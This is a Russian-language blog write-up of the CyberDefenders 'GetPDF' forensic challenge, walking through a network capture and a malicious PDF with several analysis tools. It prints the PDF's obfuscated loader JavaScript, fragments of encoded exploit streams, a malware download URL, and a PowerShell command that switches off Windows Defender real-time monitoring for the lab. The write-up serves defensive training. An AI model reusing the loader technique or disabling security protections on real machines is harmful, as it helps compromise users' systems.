7 мая 2022
Расщепляем Malware PDF. Writeup GetPDF challenge by Cyberdefenders.com.
Одной из самых популярных техник взлома крупных мировых корпораций был и остается фишинг с вредоносным вложением (T1566.001)
Одной из самых популярных техник взлома крупных мировых корпораций был и остается фишинг с вредоносным вложением (T1566.001), пример тому уже давний взлом Garmin, Conti и др. APT. Логика такого проникновения в инфраструктуру довольно проста:
1. Атакующие проводят фишинговую кампанию (targeting or spread) с вредоносным вложением;
2. Пользователь открывает файл (pdf, xlsx, docx и др.), тем самым запуская вложенный туда вредоносный код, который подгружает недостающие для атаки компоненты (трояны, шифровальщики, а также способен открывать различные бэкдоры).

Благодаря Cyberdefenders появилась возможность наглядно продемонстрировать ход расследования подобного рода инцидентов, а именно: изучение вредоносного файла *.pdf, его содержимого (ряда эксплойтов), анализа перехваченного дампа траффика и использование специальных утилит для работы с подобными файлами.
В этой статье мы попрактикуемся на примере задания GetPDF, подробнее читатель может ознакомиться на http://www.cyberdefenders.org, изучим структуру pdf документов, проанализируем дамп трафика и экспортируем вредоносные объекты для дальнейшего анализа, деобфусцируем JS Code, поработаем с утилитами:
Wireshark — незаменимая утилита для разбора .pcap и анализа трафика;
NetworkMiner — утилита для анализа сетевого трафика, c GUI;
Pdf-parser.py — аналогичная утилита для анализа pdf;
Pdfid — показывает подробную информацию по pdf;
PDFStreamDumper — позволяет работать с PDF, имеет GUI и встроенные утилиты декодирования;
Origami — написана на perl, позволяет экспортировать streams, скрипты, картинки из pdf, работать с shell кодом, извлекать метаданные и многое другое;
scdbg.exe — для эмуляции и анализа вредоносного shell кода;
De4js — «JavaScript Deobfuscator & Unpacker»;
CyberChief — фреймворк для декодирования, деобфускации кода;
Согласно заданию GetPDF, необходимо ответить на 11 вопросов, касающихся malware pdf.
Крайне не рекомендуется выполнять задание на реальном хосте, лучше для этого поднять лабораторный стенд на виртуальной машине. Лабораторный стенд для выполнения состоит из двух хостов, соединённых между собой, но имеющих ограниченный средствами виртуальной машины VMWare доступ в сеть интернет. Первый хост на Kali, второй под Windows 10.

В ходе подготовки лабораторного стенда для работы с malware файлами, нам необходимо:
1. Ограничить доступ к сети.
2. Чтобы до следующей перезагрузки отключить мониторинг вредоносной активности в режиме реального времени Windows Defender (для хоста под Windows 10), воспользуемся следующей командой: Set-MpPreference -DisableRealtimeMonitoring $true
Изучаем дамп трафика из задания:
Итак, после загрузки архива из GetPDF на наш лабораторный стенд с заданием в нашем распоряжении находится lala.pcap, который мы без раздумий загружаем в NetworkMiner, и он предоставляет нам информацию о URL paths, которые были вовлечены в инцидент (6), тем самым давая ответ на первый вопрос (How many URL path(s) are involved in this incident?) таска:
URL paths
Для решения второй и последующих задач, нам необходимо подгрузить lala.pcap в Wireshark и выполнить следующие действия:
1. Файл — Экспортировать Объекты — HTTP (все)
Экспорт содержимого трафика
2. Нажать ПКМ на поток трафика с протоколом http — следовать, после чего мы увидим GET- запрос с URL (второй вопрос What is the URL which contains the JS code?) и ответ 200 OK который содержит вредоносный обфусцированный JS code.
Поток http, связанный с инцидентом
Отвечая на 3-й вопрос задания (What is the URL hidden in the JS code?), нам необходимо будет продебажить обфусцированный JS скрипт, чтобы получить скрытое содержимое, для этого скопировав код в de4js, приведем его к нормальному виду и посмотрев внимательно, поймем, что после кода деобфускации в обфусцированную функцию передается переменная ZeJexn, давайте выведем содержимое этой переменной с помощью функции alert(ZeJexn):
Содержимое после деобфускации кода
Вот она, наша ссылка и ответ на 3 вопрос.
В 4 вопросе (What is the MD5 hash of the PDF file contained in the packet?) нам нужно посчитать MD5 Хэш от ранее экспортированного через Wireshark файла fcexploit.pdf, нет ничего проще, сделаем это через PowerShell: Get-FileHash -Algorithm MD5 fcexploit.pdf

Получим необходимый нам хэш:
MD5 Hash файла fcexploit.pdf
Погружаемся в структуру файла PDF и его содержимое:
Прежде чем переходить к анализу PDF файла, необходимо разобраться со структурой файлов такого формата. Если коротко, PDF файл состоит из заголовка (Header), тела (body), таблицы перекрестных ссылок Cross-reference table, и трейлера.
Структура PDF
Header содержит информацию о версии %PDF-1.3.% — в нашем случае, это также можно увидеть во время анализа http потока в дампе через Wireshark (как и остальные элементы документа).

Body документа содержит objects (streams), картинки и другие элементы.
Cross-reference table позволяет взаимодействовать с каждым из объектов, которые содержатся
в теле.

Trailer определяет как приложения будут читать документ, т.к. чтение документа начинается с конца (именно отсюда), где приложение находит Cross-reference table и обращается к объектам по ссылкам из таблицы.

Нам ничего не мешает добавлять наши новые body, Cross-reference table, Trailer в конец существующего документа, неизменным останется лишь Header.

Итак, после разбора архитектуры погрузимся в Body, здесь хранятся потоки объектов — последовательность байтов, которая может иметь неограниченный размер. Все объекты имеют идентификатор, по которому можно ссылаться, к примеру в нашем кейсе присутствует ссылка на объект «/JS 5 0 R», R — от reference. Кроме того, в pdf документе присутствует возможность работать
с содержимым потока использовав схемы фильтрации (/Filter), например /Filter [/FlateDecode ] — говорит о том, что данные были закодированы с использованием сжатия zlib/deflate….
Подробнее о структуре PDF можно почитать здесь.

Теперь, когда мы представляем себе структуру pdf файлов, давайте продолжим решение наших задач. Для ответа на 5 вопрос задания (How many object(s) are contained inside the PDF file?) воспользуемся pdfid и посмотрим на количество содержащихся объектов в pdf файле. (обратите внимание, что количество obj != endobj – документ деформирован (malformed)).
Сведения о структуре документа вывод программы pdfid.py.
Чтобы ответить на 6 вопрос (How many filtering schemes are used for the object streams?), и не ходить далеко посмотрим еще раз на наш http поток в Wireshark’e и увидим, что для object streams (например 10) используется 4 схемы фильтрации:
Схемы фильтрации в потоке из дампа трафика.
Ответом на 7 вопрос (What is the number of the ‘object stream’ that might contain malicious JS code?) будет уже знакомая нам ранее ссылка «/JS 5 0 R» из 4-го object stream’а
Ссылка на объект, который содержит JS code.
Немного деобфускации содержимого потоков:
Именно с 8 вопроса (Analyzing the PDF file. What ‘object-streams’ contain the JS code responsible for executing the shellcodes? The JS code is divided into two streams. Format: two numbers separated with ‘,’. Put the numbers in ascending order) — начинается самое интересное. Прежде чем продолжить, давайте выдернем дампы потоков с помощью pdfextract из Origami: ./pdfextract fcexploit.pdf

Экспорт потоков при помощи pdfextract.

В первую очередь нас интересует 5-й поток, ведь он содержит JavaScript Code и запись /Action, благодаря которой исполняется JS Code из 5 object stream’a.

var SSS = null;
var SS = «ev»;
var $S = «»;
$5 = «in»;
app.doc.syncAnnotScan();
S$ = «ti»;
if (app.plugIns.length != 0) {
var $$ = 0;
S$ += «tl»;
$5 += «fo»;
____SSS = app.doc.getAnnots({
nPage: 0
});
S$ += «e»;
$S = this.info.title;
}

var S5 = «»;
if (app.plugIns.length > 3) {
SS += «a»;
var arr = $S.split(/U_155bf62c9aU_7917ab39/);
for (var $ = 1; $ < arr.length; $++) {
S5 += String.fromCharCode(«0x» + arr[$]);
}
SS += «l»;
}
if (app.plugIns.length >= 2) {
app[SS](S5);
}
Нам необходимо понять, что же кладется в переменные “____SSS” & “$S ”. Что может быть проще?
Мы с Вами уже знаем, что чтение файла начинается с конца (с Trailer’а), поэтому выполнив команду pdf-parser.py -v fcexploit.pdf мы получим структуру pdf, зайдя в Trailer, мы увидим, что запись /Info ссылается на 11 obj:
Содержимое трейлера (чтение документа начинается здесь)
Взглянув в 11 object (также видим, что 11 obj содержит поток байтов, однако pdfextractor его не вытащил, но об этом чуть позже), увидим, что необходимая нам запись /Title находится в 10 obj, а это значит, что содержимое 10-го объекта кладется в переменную $S.

Структура obj 11.

Выходит дело за малым, смотрим, что хранится в stream_10.dmp (извлечены в предыдущем шаге)
cat stream_10.dmp и видим следующие данные:
U_155bf62c9aU_7917ab395fU_155bf62c9aU_7917ab395fU_155bf62c9aU_7917ab395fU_155bf
62c9aU_7917ab395fU_155bf62c9aU_7917ab3953U_155bf62c9aU_7917ab3953U_<……..>7917a
b3924U_155bf62c9aU_7917ab3929U_155bf62c9aU_7917ab393b
Давайте деобфусцируем содержимое, можно конечно пойти в CyberChief, но у нас уже открыта консоль браузера, да и дальше по коду 5-го stream’а видно, что идет преобразование массива из 16-го формата в ASCII, поэтому далеко не пойдем и продебажим на ходу.

Передадим в переменную S содержимое 10 потока, а далее применим кусочек кода из 5-го потока для деобфускации:

Деобфусцированное содержимое 5 потока.

De4js помог привести код к читаемому виду:
____SS = 1;
____$5 = ____SSS[____SS].subject;
____$S = 0;
____$ = ____$5.replace(/X_17844743X_170987743/g, «%»);
____S5 = ____SSS[____$S].subject;
____$ += ____S5.replace(/89af50d/g, «%»);
____$ = ____$.replace(/\\n/, «»);
____$ = ____$.replace(/\\r/, «»);
____S$ = unescape(____$);
app.eval(____S$);

Деобфусцируется содержимое переменной $5, которая содержит app.doc.getAnnots({nPage:0}); из 5-го потока. В документе у нас всего 3 объекта, содержащих записи /Annot:

Объекты содержащие /Annot в pdf

Внимательно посмотрев на содержимое этих объектов мы увидим ссылки на другие не менее интересные объекты 7 и 9 (собственно это и есть ответ на 8 вопрос), а интересны они тем, что содержат потоки (pdfextract из Origami уже все нам вытащил, осталось заглянуть в содержимое и деобфусцировать):

Ссылки на объекты с потоками.

Обфусцированное содержимое потока stream_7.dmp:
89af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af50d3889af5
0d3889af50d3889af50d3889af50d3889af50d3889a<….>d7489af50d6989af50d6f89af50d6e
89af50d2889

Как и обфусцированное содержимое потока stream_9.dmp:
17098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_1709
8774320X_17844743X_17098774320X_<….>17844743X_17098774320X_17844743X_1709
8774320

Деобфусцируется из кода потока 10.
Мы для деобфускации воспользуемся CyberChief и напишем свой рецепт исходя из кода 10го потока. Получилось следующее:

Результат деобфускации содержимого 7 и 9 потоков.

Код довольно большой и содержит 4 эксплойта:
calc.exe payload — CVE-2009-4324
freecell.exe payload – CVE-2008-2992
notepad.exe payload – CVE-2007-5659
cmd.exe payload – CVE-2009-0927

Перед анализом payload нужно аккуратненько сложить в *.sc или *.exe файл, для этого воспользуемся сайтом shell2exe, где на вход подадим payload, а на выходе нас будет ждать exe файл.

После чего закидываем shellcode.exe в IDA Pro или x32 Debugger, и видим, что для 4-го эксплойта полный путь после подгрузки malware4 – C:\Windows\System32\a.exe, что и будет ответом на 9 вопрос (The JS code responsible for executing the exploit contains shellcodes that drop malicious executable files. What is the full path of malicious executable files after being dropped by the malware on the victim machine?).

Отладка exe файла с кодом 4-го эксплойта.

Мы помним, что 11 объект содержит поток, но pdfextractor (из Origami) его не достал, поэтому давайте посмотрим через PdfStreamDumper.exe, выдернем все потоки через ПКМ-Save all decompressed streams. Т.к. в схеме фильтрации используется [/FlateDecode ], а мы уже знаем, что это говорит о степени сжатия данных zlib/deflate. Исходя из этого мы применим к потоку zlib decode, для этого запустим: Tools – Zlib Decompress_File для 11 извлеченного потока, получим следующее содержимое:

Декомпрессированное содержимое 11 потока.

Исходя из 10 вопроса задания (The PDF file contains another exploit related to CVE-2010-0188. What is the URL of the malicious executable that the shellcode associated with this exploit drop?), мы искали и нашли CVE-2010-0188 (подробнее по ссылке). По описанию эксплойта используется LibTiff, что мы и видим здесь. Чтобы ответить на 10 вопрос можно пойти 2-мя путями:

  • Легкий, у нас уже есть загруженные файлы и URL из первого вопроса http://blog.honeynet.org.my/forensic_challenge/the_real_malware.exe — этот URL и будет являться ответом на 10 вопрос.

Файлы из дампа трафика (утилита – NetworkMiner).

  • Чуть более трудоемкий, но интересный путь – скопировать содержимое payload’a эксплойта, декодировать из base64, упаковать, запустить в scdbg.exe.

Итого, в исследуемом нами файле было обнаружено 5 эксплойтов и это ответ на последний вопрос (How many CVEs are included in the PDF file?).
Заключение:
На этапе анализа PDF файла мы познакомились со структурой файлов такого формата, деобфусцировали JavaScript Code, нашли 5 эксплойтов, познакомились с утилитами (описаны вначале статьи).

Решить задание можно было использовав меньший набор утилит, однако автор хотел познакомить читателя с данными утилитами. Более подробный анализ вредоносных вложений можно найти здесь.

Надеюсь, полученная информация пригодится читателю в решении реальных кейсов.
Made on
Tilda